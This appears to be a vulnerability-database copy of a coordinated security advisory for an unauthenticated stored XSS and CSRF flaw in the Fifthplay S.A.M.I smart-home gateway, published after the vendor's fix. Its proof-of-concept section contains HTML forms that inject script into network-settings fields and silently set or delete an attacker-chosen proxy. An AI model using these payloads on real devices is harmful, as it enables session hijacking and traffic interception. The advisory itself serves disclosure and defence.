Lucene search

K
zeroscienceGjoko KrsticZSL-2020-5561
HistoryJan 28, 2020 - 12:00 a.m.

Fifthplay S.A.M.I - Service And Management Interface Unauthenticated Stored XSS

2020-01-2800:00:00
Gjoko Krstic
zeroscience.mk
43

CVSS2

4.3

Attack Vector

NETWORK

Attack Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

PARTIAL

Availability Impact

NONE

AV:N/AC:M/Au:N/C:N/I:P/A:N

CVSS3

6.1

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

CHANGED

Confidentiality Impact

LOW

Integrity Impact

LOW

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

EPSS

0.001

Percentile

36.1%

Title: Fifthplay S.A.M.I - Service And Management Interface Unauthenticated Stored XSS
Advisory ID: ZSL-2020-5561
Type: Local/Remote
Impact: Cross-Site Scripting
Risk: (4/5)
Release Date: 28.01.2020

Summary

Fifthplay is a Belgian high-tech player and a subsidiary of Niko Group. We specialise in enriching smart homes and buildings for almost 10 years, and in services that provide comfort and energy. Our gateway provides a modular approach to integrating old and new technologies, such as smart meters, optical meters, sockets, switches. Fifthplay is a trendsetter with regards to smart homes and buildings and one of the sector’s most innovative companies.

Description

The application suffers from an unauthenticated stored XSS through POST request. The issue is triggered when input passed via several parameters is not properly sanitized before being returned to the user. This can be exploited to execute arbitrary HTML and script code in a user’s browser session in context of an affected site. The application interface also allows users to perform certain actions via HTTP requests without performing any validity checks to verify the requests. This can be exploited to perform certain actions if a user visits a malicious web site.

Vendor

Fifthplay NV - <https://www.fifthplay.com>

Affected Version

Platform: HAM V1.2
HAM V1.1
HAM V1.0
DINHAM 10W
Image Version: 2019.3-20190605144803
2019.2_HP-20190808154634
2018.4_HP-20181015152950
2018.2-20180516100815
2017.2_HP-20180213083050
2013.4_HP-201309301203
AMP Version: 2019.2_HP
2018.4_HP
2017.2_HP
2013.4_HP
R20.19.03
R20.18.02
Fix: 2017.2-HP4
2018.4_HP3
2018.5_HP7
2019.2_HP3
2019.3_HP1

Tested On

lighttpd/1.4.33
PHP/5.4.33
PHP/5.3.19

Vendor Status

[29.09.2019] Vulnerabilities discovered.
[09.10.2019] Vendor contacted via web form.
[09.10.2019] Vendor responds asking more details.
[09.10.2019] Sent details to the vendor.
[13.10.2019] Vendor forwarded to SAMI developers.
[13.10.2019] Replied to the vendor, asking for the firmware and informing about exposed Shodan devices.
[17.10.2019] Vendor responds with confirmation of the issues, working on a fix.
[18.10.2019] Replied to the vendor.
[22.10.2019] Vendor estimated effort for fix to be 90 days. Will reply as soon as they have a version that resolves the issues.
[22.10.2019] Replied to the vendor with agreement.
[06.12.2019] Vendor has fixed the issues, provided fixed version for verification.
[07.12.2019] ZSL verifies that the reported issues are fixed. Replied to the vendor.
[11.12.2019] Vendor provides status update and next steps.
[14.12.2019] Replied to the vendor.
[17.12.2019] Vendor will postpone the firmware updates, release scheduled for January 2020.
[23.12.2019] Replied to the vendor.
[28.01.2020] Vendor releases firmware updates (Release 2019.3_HP2) that fixes the discovered issues.
[28.01.2020] Coordinated public security advisory released.

PoC

fifthplay_csrfxss.txt

Credits

Vulnerability discovered by Gjoko Krstic - <[email protected]>
High five to Joris!

References

[1] <https://www.fifthplay.com/faq/&gt;
[2] <https://www.exploit-db.com/exploits/47979&gt;
[3] <https://packetstormsecurity.com/files/156117&gt;
[4] <https://cxsecurity.com/issue/WLB-2020010217&gt;
[5] <https://exchange.xforce.ibmcloud.com/vulnerabilities/175557&gt;
[6] <https://exchange.xforce.ibmcloud.com/vulnerabilities/175558&gt;
[7] <https://cve.mitre.org/cgi-bin/cvename.cgi?name=2020-12132&gt;
[8] <https://nvd.nist.gov/vuln/detail/CVE-2020-12132&gt;

Changelog

[28.01.2020] - Initial release
[30.01.2020] - Added reference [2], [3] and [4]
[04.02.2020] - Added reference [5] and [6]
[24.04.2020] - Added reference [7] and [8]

Contact

Zero Science Lab

Web: <http://www.zeroscience.mk>
e-mail: [email protected]

<html><body><p>Fifthplay S.A.M.I - Service And Management Interface Unauthenticated Stored XSS


Vendor: Fifthplay NV
Product web page: https://www.fifthplay.com
Affected version: Platform: HAM V1.2
                            HAM V1.1
                            HAM V1.0
                            DINHAM 10W
                  Image Version: 2019.3-20190605144803
                                 2019.2_HP-20190808154634
                                 2018.4_HP-20181015152950
                                 2018.2-20180516100815
                                 2017.2_HP-20180213083050
                                 2013.4_HP-201309301203
                  AMP Version: 2019.2_HP
                               2018.4_HP
                               2017.2_HP
                               2013.4_HP
                               R20.19.03
                               R20.18.02
                  Fix: 2017.2-HP4
                       2018.4_HP3
                       2018.5_HP7
                       2019.2_HP3
                       2019.3_HP1

Summary: Fifthplay is a Belgian high-tech player and a subsidiary of Niko Group. 
We specialise in enriching smart homes and buildings for almost 10 years, and in
services that provide comfort and energy. Our gateway provides a modular approach
to integrating old and new technologies, such as smart meters, optical meters,
sockets, switches. Fifthplay is a trendsetter with regards to smart homes and buildings
and one of the sector's most innovative companies.

Desc: The application suffers from an unauthenticated stored XSS through POST request.
The issue is triggered when input passed via several parameters is not properly
sanitized before being returned to the user. This can be exploited to execute arbitrary
HTML and script code in a user's browser session in context of an affected site. The
application interface also allows users to perform certain actions via HTTP requests
without performing any validity checks to verify the requests. This can be exploited
to perform certain actions if a user visits a malicious web site.

Tested on: lighttpd/1.4.33
           PHP/5.4.33
           PHP/5.3.19


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2020-5561
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5561.php


29.09.2019

--


Stored XSS:
-----------


  </p>
<form action="http://192.168.11.1/?page=networksettings" method="POST">
<input name="server" type="hidden" value='"&gt;&lt;script&gt;prompt(251)&lt;/script&gt;'/>
<input name="port" type="hidden" value='"&gt;&lt;script&gt;prompt(252)&lt;/script&gt;'/>
<input name="auth" type="hidden" value="1"/>
<input name="user" type="hidden" value='"&gt;&lt;script&gt;prompt(253)&lt;/script&gt;'/>
<input name="pass" type="hidden" value='"&gt;&lt;script&gt;prompt(254)&lt;/script&gt;'/>
<input name="submit" type="hidden" value="Change"/>
<input type="submit" value="Write"/>
</form>
  



Set proxy CSRF:
---------------

  
    <form action="http://192.168.11.1/?page=networksettings" method="POST">
<input name="server" type="hidden" value="proxy.segfault.mk"/>
<input name="port" type="hidden" value="8080"/>
<input name="auth" type="hidden" value="1"/>
<input name="user" type="hidden" value="testuser"/>
<input name="pass" type="hidden" value="testpass"/>
<input name="submit" type="hidden" value="Change"/>
<input type="submit" value="Write"/>
</form>
  



Delete proxy CSRF:
------------------


  
    <form action="http://192.168.11.1/?page=networksettings" method="POST">
<input name="server" type="hidden" value="proxy.segfault.mk"/>
<input name="port" type="hidden" value="8080"/>
<input name="auth" type="hidden" value="1"/>
<input name="user" type="hidden" value="testuser"/>
<input name="pass" type="hidden" value="testpass"/>
<input name="delete" type="hidden" value="Delete"/>
<input type="submit" value="Clear"/>
</form>
</body></html>

CVSS2

4.3

Attack Vector

NETWORK

Attack Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

PARTIAL

Availability Impact

NONE

AV:N/AC:M/Au:N/C:N/I:P/A:N

CVSS3

6.1

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

CHANGED

Confidentiality Impact

LOW

Integrity Impact

LOW

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

EPSS

0.001

Percentile

36.1%

Related for ZSL-2020-5561